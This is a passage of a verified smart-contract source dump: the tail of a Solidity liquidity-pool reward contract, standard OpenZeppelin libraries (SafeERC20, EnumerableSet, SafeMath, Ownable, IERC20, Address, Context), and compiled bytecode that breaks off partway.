pool.accAddPerShare.add(addReward.mul(1e12).div(lpSupply)); // if (block.number >= pool.toBlock) { // pool.isStopped = true; // } pool.lastRewardBlock = block.number; } // Safe add transfer function, just in case if rounding error causes pool to not have enough YAXs. function safeAddTransfer(address _to, uint256 _amount) internal { uint256 addBal = addToken.balanceOf(address(this)); if (_amount > addBal) { addToken.transfer(_to, addBal); } else { addToken.transfer(_to, _amount); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806363693807116100ad578063e2bbb15811610071578063e2bbb15814610459578063e95e3b691461047c578063ed1b8759146104b3578063f2fde38b146104df578063f864dc3a146105055761012c565b806363693807146103b7578063715018a6146103db5780637bafb029146103e35780638da5cb5b1461040c57806393f1a40b146104145761012c565b806347fbf522116100f457806347fbf5221461020d578063497bb7381461034957806351eb05a6146103755780635312ea8e14610392578063630b5ba1146103af5761012c565b8063081e3eda146101315780630be2c34b1461014b5780631526fe271461016a578063175cd813146101be578063441a3e70146101ea575b600080fd5b61013961050d565b60408051918252519081900360200190f35b6101686004803603602081101561016157600080fd5b5035610513565b005b6101876004803603602081101561018057600080fd5b5035610582565b604080516001600160a01b039096168652602086019490945284840192909252151560608401526080830152519081900360a00190f35b610139600480360360408110156101d457600080fd5b50803590602001356001600160a01b03166105d0565b6101686004803603604081101561020057600080fd5b5080359060200135610732565b6101686004803603608081101561022357600080fd5b6001600160a01b038235169160208101359181019060608101604082013564010000000081111561025357600080fd5b82018360208201111561026557600080fd5b8035906020019184602083028401116401000000008311171561028757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092959493602081019350359150506401000000008111156102d757600080fd5b8201836020820111156102e957600080fd5b8035906020019184602083028401116401000000008311171561030b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610885945050505050565b6101686004803603606081101561035f57600080fd5b5080359060ff6020820135169060400135610acc565b6101686004803603602081101561038b57600080fd5b5035610b72565b610168600480360360208110156103a857600080fd5b5035610ca0565b610168610d3b565b6103bf610d5e565b604080516001600160a01b039092168252519081900360200190f35b610168610d6d565b610139600480360360608110156103f957600080fd5b5080359060208101359060400135610e19565b6103bf611004565b6104406004803603604081101561042a57600080fd5b50803590602001356001600160a01b0316611013565b6040805192835260208301919091528051918290030190f35b6101686004803603604081101561046f57600080fd5b5080359060200135611037565b610168600480360360a081101561049257600080fd5b5080359060208101359060408101359060608101359060800135151561118f565b610168600480360360608110156104c957600080fd5b5080359060ff6020820135169060400135611262565b610168600480360360208110156104f557600080fd5b50356001600160a01b03166112f6565b6101396113f8565b60035490565b61051b6113fe565b6001600160a01b031661052c611004565b6001600160a01b031614610575576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b61057d610d3b565b600255565b6003818154811061058f57fe5b6000918252602090912060079091020180546001820154600283015460038401546004909401546001600160a01b0390931694509092909160ff9091169085565b600080600384815481106105e057fe5b60009182526020808320878452600480835260408086206001600160a01b038a811688529085528187206007969096029093016002810154815483516370a0823160e01b81523095810195909552925191985095969491909316926370a08231926024808201939291829003018186803b15801561065d57600080fd5b505afa158015610671573d6000803e3d6000fd5b505050506040513d602081101561068757600080fd5b505160018501549091504311801561069e57508015155b156106f75760006106b488866001015443610e19565b905060006106cd6002548361140290919063ffffffff16565b90506106f26106eb846106e58464e8d4a51000611402565b9061145b565b85906114c2565b935050505b610725836001015461071f64e8d4a510006106e586886000015461140290919063ffffffff16565b9061151c565b9450505050505b92915050565b60006003838154811061074157fe5b6000918252602080832086845260048252604080852033865290925292208054600790920290920192508311156107b4576040805162461bcd60e51b81526020600482015260126024820152711dda5d1a191c985dce881b9bdd0819dbdbd960721b604482015290519081900360640190fd5b6107bd84610b72565b60006107eb826001015461071f64e8d4a510006106e58760020154876000015461140290919063ffffffff16565b905080156107fd576107fd3382611579565b831561082757815461080f908561151c565b82558254610827906001600160a01b0316338661170a565b600283015482546108429164e8d4a51000916106e591611402565b6001830155604080518581529051869133917ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b5689181900360200190a35050505050565b61088d6113fe565b6001600160a01b031661089e611004565b6001600160a01b0316146108e7576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b6001600160a01b03841661092c5760405162461bcd60e51b8152600401808060200182810382526027815260200180611b596027913960400191505060405180910390fd5b600083431161093b578361093d565b435b9050610947611a8a565b6001600160a01b0386811682526080820186815260006040840181815260208086018781526060870184815260c088018b905260a088018a815260038054600181018255965288517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b600790970296870180546001600160a01b0319169190991617885591517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85c86015592517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85d85015591517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85e8401805460ff191691151591909117905592517fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85f830155518051859493610aa5937fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f86001920190611ad2565b5060c08201518051610ac1916006840191602090910190611ad2565b505050505050505050565b610ad46113fe565b6001600160a01b0316610ae5611004565b6001600160a01b031614610b2e576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b600060038481548110610b3d57fe5b9060005260206000209060070201905081816006018460ff1681548110610b6057fe5b60009182526020909120015550505050565b600060038281548110610b8157fe5b90600052602060002090600702019050806001015443111580610ba85750600381015460ff165b15610bb35750610c9d565b8054604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b158015610bfd57600080fd5b505afa158015610c11573d6000803e3d6000fd5b505050506040513d6020811015610c2757600080fd5b5051905080610c3d575043600190910155610c9d565b6000610c4e84846001015443610e19565b90506000610c676002548361140290919063ffffffff16565b9050610c8a610c7f846106e58464e8d4a51000611402565b6002860154906114c2565b6002850155505043600190920191909155505b50565b600060038281548110610caf57fe5b60009182526020808320858452600482526040808520338087529352909320805460079093029093018054909450610cf4926001600160a01b0391909116919061170a565b80546040805191825251849133917fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae05959181900360200190a360008082556001909101555050565b60035460005b81811015610d5a57610d5281610b72565b600101610d41565b5050565b6001546001600160a01b031681565b610d756113fe565b6001600160a01b0316610d86611004565b6001600160a01b031614610dcf576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60008060038581548110610e2957fe5b90600052602060002090600702019050600060038681548110610e4857fe5b90600052602060002090600702016006018054905090506000826006016001830381548110610e7357fe5b90600052602060002001548610610e9857610e8e858761151c565b9350505050610ffd565b60005b82811015610fbc5785846006018281548110610eb357fe5b90600052602060002001541115610f0357610efc610ef5856005018381548110610ed957fe5b600091825260209091200154610eef898b61151c565b90611402565b83906114c2565b9150610fbc565b836006018181548110610f1257fe5b906000526020600020015487108015610f445750836006018181548110610f3557fe5b90600052602060002001548610155b15610fb457610f95610ef5856005018381548110610f5e57fe5b9060005260206000200154610eef8a886006018681548110610f7c57fe5b906000526020600020015461151c90919063ffffffff16565b9150836006018181548110610fa657fe5b906000526020600020015496505b600101610e9b565b50826006016001830381548110610fcf57fe5b9060005260206000200154851115610ff857610ff5610fee868861151c565b82906114c2565b90505b925050505b9392505050565b6000546001600160a01b031690565b60046020908152600092835260408084209091529082529020805460019091015482565b60006003838154811061104657fe5b600091825260208083208684526004825260408085203386529092529220600360079092029092019081015490925060ff16156110b45760405162461bcd60e51b815260040180806020018281038252602e815260200180611c11602e913960400191505060405180910390fd5b6110bd84610b72565b8054156111065760006110f2826001015461071f64e8d4a510006106e58760020154876000015461140290919063ffffffff16565b90508015611104576111043382611579565b505b8215611132578154611123906001600160a01b031633308661175c565b805461112f90846114c2565b81555b6002820154815461114d9164e8d4a51000916106e591611402565b6001820155604080518481529051859133917f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a159181900360200190a350505050565b6111976113fe565b6001600160a01b03166111a8611004565b6001600160a01b0316146111f1576040805162461bcd60e51b81526020600482018190526024820152600080516020611bc7833981519152604482015290519081900360640190fd5b60006003868154811061120057fe5b60009182526020808320600792909202909101600481019790975560068701805460018082018355918452